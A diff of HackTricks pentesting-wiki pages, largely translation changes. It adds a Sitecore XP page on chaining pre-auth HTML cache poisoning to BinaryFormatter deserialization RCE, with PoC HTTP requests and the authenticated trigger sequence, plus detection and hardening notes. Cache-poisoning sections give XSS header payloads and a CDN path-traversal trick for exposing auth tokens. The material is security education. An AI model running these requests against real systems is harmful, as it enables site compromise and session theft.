- **API keys**: API キーを見つけた場合、さまざまなプラットフォームの API キーの使い方を示すプロジェクトがあります: [**keyhacks**](https://github.com/streaak/keyhacks)、[**zile**](https://github.com/xyele/zile.git)、[**truffleHog**](https://github.com/trufflesecurity/truffleHog)、[**SecretFinder**](https://github.com/m4ll0k/SecretFinder)、[**RegHex**](<https://github.com/l4yton/RegHex)/>)、[**DumpsterDive**](https://github.com/securing/DumpsterDiver)、[**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik のような形式の API キーを見つけた場合、どの API にアクセスできるかを確認するために [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) を使えます。
- **S3 Buckets**: spidering 中にサブドメインやリンクが S3 bucket に関連しているか確認してください。その場合は、バケットのアクセス権を [**check** the **permissions** of the bucket](buckets/index.html)。
+- **Comments:** Check the comments of all the files, you can find **credentials** or **hidden functionality**.
+- If you are playing **CTF**, a "common" trick is to **hide** **information** inside comments at the **right** of the **page** (using **hundreds** of **spaces** so you don't see the data if you open the source code with the browser). Other possibility is to use **several new lines** and **hide information** in a comment at the **bottom** of the web page.
+- **API keys**: If you **find any API key** there is guide that indicates how to use API keys of different platforms: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
+- Google API keys: If you find any API key looking like **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik you can use the project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) to check which apis the key can access.
+- **S3 Buckets**: While spidering look if any **subdomain** or any **link** is related with some **S3 bucket**. In that case, [**check** the **permissions** of the bucket](buckets/index.html).

 ### Special findings

-spidering と brute-forcing を行う間に、注意すべき**興味深い****発見**があることがあります。
+**While** performing the **spidering** and **brute-forcing** you could find **interesting** **things** that you have to **notice**.

 **Interesting files**

- CSS ファイル内の他のファイルへの **links** を探してください。
+- Look for **links** to other files inside the **CSS** files.
 - [If you find a _**.git**_ file some information can be extracted](git.md)
- _**.env**_ ファイルを見つけた場合、api keys、DB パスワードなどの情報が含まれていることがあります。
- **API endpoints** を見つけた場合は [should also test them](web-api-pentesting.md)。これらはファイルではありませんが、見た目はファイルと似ていることが多いです。
- **JS files**: spidering セクションで JS ファイルからパスを抽出できるツールをいくつか挙げました。見つかった各 JS ファイルを監視するのも有用です。場合によってはコードの変更が潜在的な脆弱性の導入を示すことがあります。例えば [**JSMon**](https://github.com/robre/jsmon) を使うと良いでしょう。
- 発見した JS ファイルは [**RetireJS**](https://github.com/retirejs/retire.js/) や [**JSHole**](https://github.com/callforpapers-source/jshole) で脆弱性がないか確認するべきです。
+- If you find a _**.env**_ information such as api keys, dbs passwords and other information can be found.
+- If you find **API endpoints** you [should also test them](web-api-pentesting.md). These aren't files, but will probably "look like" them.
+- **JS files**: In the spidering section several tools that can extract path from JS files were mentioned. Also, It would be interesting to **monitor each JS file found**, as in some ocations, a change may indicate that a potential vulnerability was introduced in the code. You could use for example [**JSMon**](https://github.com/robre/jsmon)**.**
+- You should also check discovered JS files with [**RetireJS**](https://github.com/retirejs/retire.js/) or [**JSHole**](https://github.com/callforpapers-source/jshole) to find if it's vulnerable.
 - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
 - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
 - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- 正規表現を理解する必要が生じる場面が多々あります。これには次が役立ちます: [https://regex101.com/](https://regex101.com) や [https://pythonium.net/regex](https://pythonium.net/regex)
- フォームが検出されたファイルを監視することも検討してください。パラメータの変更や新しいフォームの出現は、新たな脆弱性を示す可能性があります。
+- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
+- On several occasions, you will need to **understand the regular expressions** used. This will be useful: [https://regex101.com/](https://regex101.com) or [https://pythonium.net/regex](https://pythonium.net/regex)
+- You could also **monitor the files were forms were detected**, as a change in the parameter or the apearance f a new form may indicate a potential new vulnerable functionality.

 **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**

@ -319,28 +313,28 @@ spidering と brute-forcing を行う間に、注意すべき**興味深い****

 **502 Proxy Error**

-もしページがこのステータスコードで応答する場合、設定ミスのあるプロキシである可能性が高いです。**もし次のような HTTP リクエストを送ると: `GET https://google.com HTTP/1.1`**（Host ヘッダや他の一般的なヘッダ付きで）、プロキシは _**google.com**_ にアクセスしようとし、SSRF を発見できることがあります。
+If any page **responds** with that **code**, it's probably a **bad configured proxy**. **If you send a HTTP request like: `GET https://google.com HTTP/1.1`** (with the host header and other common headers), the **proxy** will try to **access** _**google.com**_ **and you will have found a** SSRF.

 **NTLM Authentication - Info disclosure**

-要求しているサーバが **Windows** であったり、ログインがドメイン名を要求する場合、情報漏洩を引き起こすことができます。\
-ヘッダを送信してください: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`。NTLM 認証の仕組みにより、サーバは "WWW-Authenticate" ヘッダ内に内部情報（IIS バージョン、Windows バージョンなど）を返すことがあります。\
-これを自動化するには nmap のプラグイン "_http-ntlm-info.nse_" を使えます。
+If the running server asking for authentication is **Windows** or you find a login asking for your **credentials** (and asking for **domain** **name**), you can provoke an **information disclosure**.\
+**Send** the **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` and due to how the **NTLM authentication works**, the server will respond with internal info (IIS version, Windows version...) inside the header "WWW-Authenticate".\
+You can **automate** this using the **nmap plugin** "_http-ntlm-info.nse_".

 **HTTP Redirect (CTF)**

-リダイレクション内にコンテンツを入れることが可能です。このコンテンツはブラウザがリダイレクトを実行するためユーザーには表示されませんが、そこに何かが**隠されている**場合があります。
+It is possible to **put content** inside a **Redirection**. This content **won't be shown to the user** (as the browser will execute the redirection) but something could be **hidden** in there.

 ### Web Vulnerabilities Checking

-包括的な web アプリケーションの列挙を終えたら、多くの可能性のある脆弱性をチェックする時です。チェックリストは以下にあります:
+Now that a comprehensive enumeration of the web application has been performed it's time to check for a lot of possible vulnerabilities. You can find the checklist here:


 {{#ref}}
 ../../pentesting-web/web-vulnerabilities-methodology.md
 {{#endref}}

-Web 脆弱性に関する詳細情報:
+Find more info about web vulns in:

 - [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
 - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
@ -348,7 +342,7 @@ Web 脆弱性に関する詳細情報:

 ### Monitor Pages for changes

-ページの変更を監視して脆弱性の導入を検出するために、[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) のようなツールを使うことができます。
+You can use tools such as [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) to monitor pages for modifications that might insert vulnerabilities.

 ### HackTricks Automatic Commands
 ```
--- a/src/network-services-pentesting/pentesting-web/sitecore/README.md
+++ b/src/network-services-pentesting/pentesting-web/sitecore/README.md
@ -0,0 +1,193 @@
+# Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+このページは、pre‑auth XAML handler から HTML cache poisoning を経て、認証された UI フローを介して BinaryFormatter deserialization による RCE に至る、Sitecore XP 10.4.1 に対する実用的な攻撃チェーンを要約します。これらの手法は類似の Sitecore バージョン／コンポーネントにも一般化でき、テスト、検出、強化のための具体的なプリミティブを提供します。
+
+- 対象製品（検証済み）: Sitecore XP 10.4.1 rev. 011628
+- Fixed in: KB1003667, KB1003734 (June/July 2025)
+
+See also:
+
+{{#ref}}
+../../../pentesting-web/cache-deception/README.md
+{{#endref}}
+
+{{#ref}}
+../../../pentesting-web/deserialization/README.md
+{{#endref}}
+
+## Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
+
+Entrypoint is the pre‑auth XAML handler registered in web.config:
+```xml
+<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
+```
+以下からアクセス可能:
+```
+GET /-/xaml/Sitecore.Shell.Xaml.WebControl
+```
+コントロールツリーには AjaxScriptManager が含まれており、イベントリクエスト時に攻撃者が制御するフィールドを読み取り、リフレクションで対象コントロールのメソッドを呼び出します:
+```csharp
+// AjaxScriptManager.OnPreRender
+string clientId = page.Request.Form["__SOURCE"];      // target control
+string text     = page.Request.Form["__PARAMETERS"];  // Method("arg1", "arg2")
+...
+Dispatch(clientId, text);
+
+// eventually → DispatchMethod(control, parameters)
+MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
+if (m != null) m.Invoke(this, e.Parameters);
+
+// Alternate branch for XML-based controls
+if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
+```
+重要な観察点: XAML ページには XmlControl インスタンス (xmlcontrol:GlobalHeader) が含まれています。Sitecore.XmlControls.XmlControl は Sitecore.Web.UI.WebControl（Sitecore のクラス）を継承しており、ReflectionUtil.Filter allow‑list (Sitecore.*) を通すため、Sitecore WebControl のメソッドがアンロックされます。
+
+poisoning のためのマジックメソッド:
+```csharp
+// Sitecore.Web.UI.WebControl
+protected virtual void AddToCache(string cacheKey, string html) {
+HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
+if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
+}
+```
+xmlcontrol:GlobalHeader をターゲットにし、Sitecore.Web.UI.WebControl のメソッドを名前で呼び出せるため、pre‑auth の任意の HtmlCache 書き込みプリミティブが得られます。
+
+### PoC リクエスト (CVE-2025-53693)
+```
+POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
+Host: target
+Content-Type: application/x-www-form-urlencoded
+
+__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
+```
+注記:
+- __SOURCE は Sitecore.Shell.Xaml.WebControl 内の xmlcontrol:GlobalHeader の clientID です（静的 XAML に由来するため、ctl00_ctl00_ctl05_ctl03 のように一般的に安定しています）。
+- __PARAMETERS の形式は Method("arg1","arg2")。
+
+## What to poison: キャッシュキーの構築
+
+Sitecore のコントロールで使用される典型的な HtmlCache キーの構築:
+```csharp
+public virtual string GetCacheKey(){
+SiteContext site = Sitecore.Context.Site;
+if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
+string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
+if (key.Length > 0){
+string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
+if (this.VaryByData)        k += ResolveDataKeyPart();
+if (this.VaryByDevice)      k += "_#dev:"   + Sitecore.Context.GetDeviceName();
+if (this.VaryByLogin)       k += "_#login:" + Sitecore.Context.IsLoggedIn;
+if (this.VaryByUser)        k += "_#user:"  + Sitecore.Context.GetUserName();
+if (this.VaryByParm)        k += "_#parm:"  + this.Parameters;
+if (this.VaryByQueryString && site?.Request != null)
+k += "_#qs:"   + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
+if (this.ClearOnIndexUpdate) k += "_#index";
+return k;
+}
+}
+return string.Empty;
+}
+```
+既知の sublayout に対する targeted poisoning の例:
+```
+__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
+```
+## キャッシュ可能なアイテムと “vary by” ディメンションの列挙
+
+ItemServiceが（誤って）匿名で公開されている場合、キャッシュ可能なコンポーネントを列挙して正確なキーを導出できます。
+
+簡易プローブ:
+```
+GET /sitecore/api/ssc/item
+// 404 Sitecore error body → exposed (anonymous)
+// 403 → blocked/auth required
+```
+キャッシュ可能な項目とフラグの一覧:
+```
+GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
+```
+Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate のようなフィールドを探してください。デバイス名は次の方法で列挙できます:
+```
+GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
+```
+### Side‑channel enumeration under restricted identities (CVE-2025-53694)
+
+ItemServiceが限定的なアカウント（例: ServicesAPI）をなりすましてResults arrayを空で返しても、TotalCountはpre‑ACLのSolrヒットを反映する場合があります。wildcardsを使ってitem groups/idsをbrute‑forceし、TotalCountが収束して内部コンテンツやデバイスをマッピングする様子を観察できます:
+```
+GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
+→ "TotalCount": 3
+GET /...term=%2B_templatename:Device;%2B_group:aa*
+→ "TotalCount": 2
+GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
+→ narrow to a specific item
+```
+## Post‑auth RCE: convertToRuntimeHtml における BinaryFormatter sink (CVE-2025-53691)
+
+Sink:
+```csharp
+// Sitecore.Convert
+byte[] b = Convert.FromBase64String(data);
+return new BinaryFormatter().Deserialize(new MemoryStream(b));
+```
+convertToRuntimeHtml パイプラインの ConvertWebControls ステップを通じて到達可能で、id が {iframeId}_inner の要素を探し、base64 でデコードしてデシリアライズし、その結果の文字列を HTML に注入します:
+```csharp
+HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
+string text2   = inner?.GetAttributeValue("value", "");
+if (text2.Length > 0)
+htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
+```
+トリガー (authenticated, Content Editor rights)。FixHtml ダイアログは convertToRuntimeHtml を呼び出します。UIクリックなしのエンドツーエンド:
+```
+// 1) Start Content Editor
+GET /sitecore/shell/Applications/Content%20Editor.aspx
+
+// 2) Load malicious HTML into EditHtml session (XAML event)
+POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
+Content-Type: application/x-www-form-urlencoded
+
+__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
+<html>
+<iframe id="test" src="poc" value="poc"></iframe>
+<test id="test_inner" value="BASE64_GADGET"></test>
+</html>
+
+// 3) Server returns a session handle (hdl) for FixHtml
+{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
+
+// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
+GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
+```
+ガジェット生成: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.
+
+{{#ref}}
+../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
+{{#endref}}
+
+## 完全なチェーン
+
+1) Pre‑auth 攻撃者が、XAML の AjaxScriptManager を介して反射的に WebControl.AddToCache を呼び出すことで、任意の HTML によって HtmlCache を汚染する。  
+2) 汚染された HTML は JavaScript を配信し、認証済みの Content Editor ユーザーを FixHtml フローに誘導する。  
+3) FixHtml ページは convertToRuntimeHtml → ConvertWebControls をトリガーし、そこで attacker‑controlled base64 を BinaryFormatter 経由で deserializes して → Sitecore アプリプールのアイデンティティで RCE に至る。
+
+## 検出
+
+- Pre‑auth XAML: `/-/xaml/Sitecore.Shell.Xaml.WebControl` へのリクエストで `__ISEVENT=1`、疑わしい `__SOURCE` と `__PARAMETERS=AddToCache(...)`。  
+- ItemService probing: `/sitecore/api/ssc` のワイルドカードクエリの急増、空の `Results` と大きな `TotalCount`。  
+- Deserialization attempts: `EditHtml.aspx` に続いて `FixHtml.aspx?hdl=...`、および HTML フィールド内の異常に大きな base64。
+
+## ハードニング
+
+- Sitecore のパッチ KB1003667 と KB1003734 を適用する；pre‑auth XAML ハンドラをゲート/無効化するか厳密なバリデーションを追加する；`/-/xaml/` を監視およびレート制限する。  
+- BinaryFormatter を削除/置換する；convertToRuntimeHtml へのアクセスを制限するか、HTML 編集フローに対して強力なサーバー側バリデーションを強制する。  
+- `/sitecore/api/ssc` をループバックまたは認証済みロールに限定する；`TotalCount`‑based side channels を leak するインパーソネーションパターンを避ける。  
+- Content Editor ユーザーに対して MFA / least privilege を強制する；CSP を見直して cache poisoning による JS steering の影響を減らす。
+
+## References
+
+- [watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)  
+- [Sitecore KB1003667 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667)  
+- [Sitecore KB1003734 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734)
+
+{{#include ../../../banners/hacktricks-training.md}}
--- a/src/pentesting-web/cache-deception/README.md
+++ b/src/pentesting-web/cache-deception/README.md
@ -1,75 +1,76 @@
-# キャッシュポイズニングとキャッシュデセプション
+# Cache Poisoning and Cache Deception

 {{#include ../../banners/hacktricks-training.md}}

 ## 違い

-> **ウェブキャッシュポイズニングとウェブキャッシュデセプションの違いは何ですか？**
+> **web cache poisoning と web cache deception の違いは何ですか？**
 >
-> - **ウェブキャッシュポイズニング**では、攻撃者がアプリケーションに悪意のあるコンテンツをキャッシュに保存させ、そのコンテンツが他のアプリケーションユーザーに提供されます。
-> - **ウェブキャッシュデセプション**では、攻撃者がアプリケーションに他のユーザーに属する機密コンテンツをキャッシュに保存させ、攻撃者がそのコンテンツをキャッシュから取得します。
+> - **web cache poisoning** においては、攻撃者はアプリケーションに悪意のあるコンテンツをキャッシュに保存させ、そのコンテンツがキャッシュから他のアプリケーション利用者に提供されます。
+> - **web cache deception** においては、攻撃者はアプリケーションに別ユーザーに属する機密コンテンツをキャッシュに保存させ、攻撃者はそのコンテンツをキャッシュから取得します。

-## キャッシュポイズニング
+## Cache Poisoning

-キャッシュポイズニングは、クライアント側のキャッシュを操作して、クライアントが予期しない、部分的、または攻撃者の制御下にあるリソースを読み込むように強制することを目的としています。影響の範囲は、影響を受けるページの人気に依存し、汚染されたレスポンスは、キャッシュ汚染の期間中にそのページを訪れるユーザーにのみ提供されます。
+Cache poisoning はクライアント側のキャッシュを操作して、クライアントが予期しない、部分的な、または攻撃者の管理下にあるリソースを読み込ませることを目的としています。影響の範囲は対象ページの人気度に依存します。汚染されたレスポンスはキャッシュが汚染されている期間にそのページを訪れるユーザーにのみ配信されます。

-キャッシュポイズニング攻撃の実行にはいくつかのステップがあります：
+Cache poisoning 攻撃の実行は以下のステップを含みます:

-1. **キーなし入力の特定**：これらは、リクエストがキャッシュされるために必要ではないパラメータですが、サーバーが返すレスポンスを変更する可能性があります。これらの入力を特定することは重要であり、キャッシュを操作するために悪用される可能性があります。
-2. **キーなし入力の悪用**：キーなし入力を特定した後、次のステップは、攻撃者に利益をもたらす方法でサーバーのレスポンスを変更するためにこれらのパラメータを誤用する方法を考えることです。
-3. **汚染されたレスポンスがキャッシュされることを確認**：最終ステップは、操作されたレスポンスがキャッシュに保存されることを確認することです。これにより、キャッシュが汚染されている間に影響を受けるページにアクセスするユーザーは、汚染されたレスポンスを受け取ります。
+1. **Identification of Unkeyed Inputs**: キャッシュされるために必須ではないパラメータだが、サーバーが返すレスポンスを変更できる入力を特定すること。これらの入力を特定することは、キャッシュを操作するために重要です。
+2. **Exploitation of the Unkeyed Inputs**: 特定した unkeyed inputs をどのように悪用してサーバーのレスポンスを攻撃者に有利な形に変更するかを見つけます。
+3. **Ensuring the Poisoned Response is Cached**: 操作したレスポンスがキャッシュに保存されることを確認します。こうすることで、キャッシュが汚染されている間に該当ページにアクセスしたユーザーは改ざんされたレスポンスを受け取ります。

-### 発見：HTTPヘッダーを確認
+### Discovery: Check HTTP headers

-通常、レスポンスが**キャッシュに保存された**場合、**それを示すヘッダーがあります**。どのヘッダーに注意を払うべきかは、この投稿で確認できます：[**HTTPキャッシュヘッダー**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。
+通常、レスポンスが**キャッシュに保存された**場合、それを示す**ヘッダー**が付加されます。どのヘッダーに注意すべきかはこの投稿を確認してください: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).

-### 発見：キャッシュエラーコード
+### Discovery: Caching error codes

-レスポンスがキャッシュに保存されていると考えている場合、**不正なヘッダーでリクエストを送信**してみることができます。これには**ステータスコード400**で応答されるべきです。その後、リクエストに通常アクセスして、**レスポンスが400ステータスコード**であれば、それが脆弱であることがわかります（さらにはDoS攻撃を実行することも可能です）。
+レスポンスがキャッシュに保存されているかを確認したい場合、**無効なヘッダー**でリクエストを送ってみて、通常は**status code 400**で応答されるはずです。その後通常どおりリクエストにアクセスして、**レスポンスが 400 の status code**であれば脆弱であることがわかります（DoS を行うことさえ可能です）。
+
+以下でさらにオプションを確認できます:

-さらにオプションを見つけることができます：

 {{#ref}}
 cache-poisoning-to-dos.md
 {{#endref}}

-ただし、**これらの種類のステータスコードがキャッシュされないこともある**ため、このテストは信頼できない可能性があります。
+ただし、**これらの種類のステータスコードはキャッシュされないことがある**ため、このテストは常に信頼できるわけではない点に注意してください。

-### 発見：キーなし入力を特定し評価する
+### Discovery: Identify and evaluate unkeyed inputs

-[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)を使用して、**ページのレスポンスを変更する可能性のあるパラメータやヘッダーをブルートフォース**することができます。たとえば、ページが`X-Forwarded-For`ヘッダーを使用してクライアントにスクリプトをそこから読み込むように指示している場合があります：
+ページのレスポンスを変更している可能性のあるパラメータやヘッダーを **brute-force parameters and headers** するために [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) を使うことができます。例えば、ページが `X-Forwarded-For` ヘッダーを利用してクライアントにそこからスクリプトを読み込ませるよう指示している場合があります:
 ```html
 <script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
 ```
-### バックエンドサーバーから有害な応答を引き出す
+### バックエンドサーバーから有害なレスポンスを引き出す

-パラメータ/ヘッダーが特定されたら、それがどのように**サニタイズ**されているか、また**どこで**応答に**反映**されているかを確認します。これを悪用することはできますか（XSSを実行する、またはあなたが制御するJSコードを読み込む？DoSを実行する？...）
+parameter/header を特定したら、それがどのように **サニタイズ** されているか、また **どこに** **反映されている** ／ レスポンスにどのように影響しているかを確認します。これを悪用できますか（XSS を実行したり、自分で制御する JS を読み込ませることはできるか？DoS を引き起こせるか？...）

-### 応答をキャッシュする
+### レスポンスをキャッシュさせる

-悪用できる**ページ**を**特定**し、使用する**パラメータ**/**ヘッダー**と**悪用方法**が決まったら、そのページをキャッシュする必要があります。キャッシュに取得しようとしているリソースによっては、これには時間がかかる場合があり、数秒間試みる必要があるかもしれません。
+悪用可能な **page**、どの **parameter**/**header** を使うか、そしてどのように **abuse** するかを **identified** したら、その page をキャッシュさせる必要があります。キャッシュに入るまでリソースによっては時間がかかることがあり、数秒間試行を続ける必要があるかもしれません。

-応答のヘッダー**`X-Cache`**は非常に役立つ可能性があります。リクエストがキャッシュされていない場合は**`miss`**の値を持ち、キャッシュされている場合は**`hit`**の値を持ちます。\
-ヘッダー**`Cache-Control`**も、リソースがキャッシュされているかどうか、次回リソースが再キャッシュされるのはいつかを知るために興味深いです: `Cache-Control: public, max-age=1800`
+レスポンスのヘッダ **`X-Cache`** は、リクエストがキャッシュされていないときに値が **`miss`**、キャッシュされているときに **`hit`** になる可能性があるため非常に有用です。\
+ヘッダ **`Cache-Control`** もリソースがキャッシュされているか、次にいつ再キャッシュされるかを知るのに重要です: `Cache-Control: public, max-age=1800`

-もう一つの興味深いヘッダーは**`Vary`**です。このヘッダーは、通常はキーが付けられていない追加のヘッダーを**キャッシュキーの一部**として**示すため**に使用されることがよくあります。したがって、ターゲットとしている被害者の`User-Agent`を知っている場合、特定の`User-Agent`を使用するユーザーのためにキャッシュを汚染することができます。
+もう一つ興味深いヘッダは **`Vary`** です。このヘッダはしばしば **追加のヘッダを示す** のに使われ、通常はキー化されないヘッダであっても **cache key の一部として扱われる** ことがあります。したがって、攻撃対象のユーザの `User-Agent` を知っていれば、その特定の `User-Agent` を使うユーザ向けに poison the cache することができます。

-キャッシュに関連するもう一つのヘッダーは**`Age`**です。これは、オブジェクトがプロキシキャッシュに存在している秒数を定義します。
+キャッシュに関連するもう一つのヘッダは **`Age`** です。これはオブジェクトがプロキシキャッシュに置かれてからの経過秒数を定義します。

-リクエストをキャッシュする際は、使用するヘッダーに**注意**してください。いくつかのヘッダーは**予期せず**キーとして**使用される可能性**があり、**被害者はその同じヘッダーを使用する必要があります**。常に**異なるブラウザ**でキャッシュポイズニングを**テスト**して、機能しているか確認してください。
+リクエストをキャッシュするときは、使用するヘッダに注意してください。なぜなら一部は **予期せず** **keyed** として使われる可能性があり、**victim は同じヘッダを使う必要がある** からです。常に Cache Poisoning を **試験** するときは **異なるブラウザ** で動作を確認してください。

-## 悪用の例
+## Exploiting Examples

-### 最も簡単な例
+### 一番簡単な例

-`X-Forwarded-For`のようなヘッダーが、サニタイズされずに応答に反映されています。\
-基本的なXSSペイロードを送信し、キャッシュを汚染することで、そのページにアクセスするすべての人がXSSされることになります:
+`X-Forwarded-For` のようなヘッダがレスポンスにサニタイズされずに反映されている。\
+基本的な XSS ペイロードを送信してキャッシュを poison the cache すれば、その page にアクセスする全員が XSSed されます:
 ```html
 GET /en?region=uk HTTP/1.1
 Host: innocent-website.com
 X-Forwarded-Host: a."><script>alert(1)</script>"
 ```
-_Note that this will poison a request to `/en?region=uk` not to `/en`_
+_この操作は `/en?region=uk` へのリクエストを poison し、`/en` へのリクエストは poison しない点に注意してください_

 ### Cache poisoning to DoS

@ -80,52 +81,54 @@ cache-poisoning-to-dos.md

 ### Cache poisoning through CDNs

-**[この解説](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** では、以下のシンプルなシナリオが説明されています：
+この **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** では、次の単純なシナリオが説明されています:

- CDNは`/share/`以下のすべてをキャッシュします。
- CDNは`%2F..%2F`をデコードまたは正規化しないため、**キャッシュされる他の機密情報にアクセスするためのパストラバーサルとして使用できます**。例えば、`https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`のように。
- ウェブサーバーは`%2F..%2F`をデコードおよび正規化し、`/api/auth/session`で応答します。これには**認証トークン**が含まれています。
+- CDN は `/share/` 以下のコンテンツをすべて cache します。
+- CDN は `%2F..%2F` をデコードも正規化もしません。したがって、`https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` のように、cache される他の機密箇所へアクセスするための **path traversal to access other sensitive locations that will be cached** として利用できます。
+- Web server は `%2F..%2F` をデコード・正規化し、`/api/auth/session` で応答します。これは **contains the auth token**。

 ### Using web cache poisoning to exploit cookie-handling vulnerabilities

-クッキーはページの応答に反映されることもあります。これを悪用してXSSを引き起こすことができれば、悪意のあるキャッシュ応答を読み込む複数のクライアントでXSSを利用できる可能性があります。
+Cookies はページのレスポンスにも反映されることがあります。例えばそれを悪用して XSS を発生させられれば、悪意ある cache response を読み込む複数のクライアントで XSS を悪用できる可能性があります。
 ```html
 GET / HTTP/1.1
 Host: vulnerable.com
 Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
 ```
-注意：脆弱なクッキーがユーザーによって非常に使用されている場合、通常のリクエストがキャッシュをクリアします。
+Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.

-### デリミタ、正規化、ドットを使用して不一致を生成する <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
+### デリミタ、正規化とドットによる不一致の生成 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
+
+Check:

-確認してください：

 {{#ref}}
 cache-poisoning-via-url-discrepancies.md
 {{#endref}}

-### APIキーを盗むためのパストラバーサルによるキャッシュポイズニング <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
